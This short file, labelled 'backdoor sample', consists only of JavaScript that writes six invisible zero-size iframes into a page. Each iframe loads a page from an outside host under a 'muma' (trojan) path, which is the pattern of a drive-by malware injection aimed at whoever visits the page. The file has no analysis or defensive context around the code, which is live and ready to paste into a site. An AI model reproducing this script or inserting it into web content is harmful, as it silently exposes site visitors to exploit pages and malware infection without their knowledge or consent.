backdoor sample

document.write("<iframe src=\"http:\/\/hz.wgw8.com\/muma\/ie\/joke.htm\" width=\"0\"");
document.write(" height=\"0\" frameborder=\"0\"><\/iframe> ");
document.write("<iframe src=\"http:\/\/hz.wgw8.com\/muma\/ja\/3721.htm\" width=\"0\"");
document.write(" height=\"0\" frameborder=\"0\"><\/iframe> ");
document.write("<iframe src=\"http:\/\/hz.wgw8.com\/muma\/wyh\/3721.htm\" width=\"0\"");
document.write(" height=\"0\" frameborder=\"0\"><\/iframe> ");
document.write("<iframe src=\"http:\/\/hz.wgw8.com\/muma\/xp2\/3721.htm\" width=\"0\"");
document.write(" height=\"0\" frameborder=\"0\"><\/iframe> ");
document.write("<iframe src=\"http:\/\/hz.wgw8.com\/muma\/tt\/tt.htm\" width=\"0\"");
document.write(" height=\"0\" frameborder=\"0\"><\/iframe> ");
document.write("<iframe src=\"http:\/\/hz.wgw8.com\/muma\/af\/1.htm\" width=\"0\"");
document.write(" height=\"0\" frameborder=\"0\"><\/iframe> ");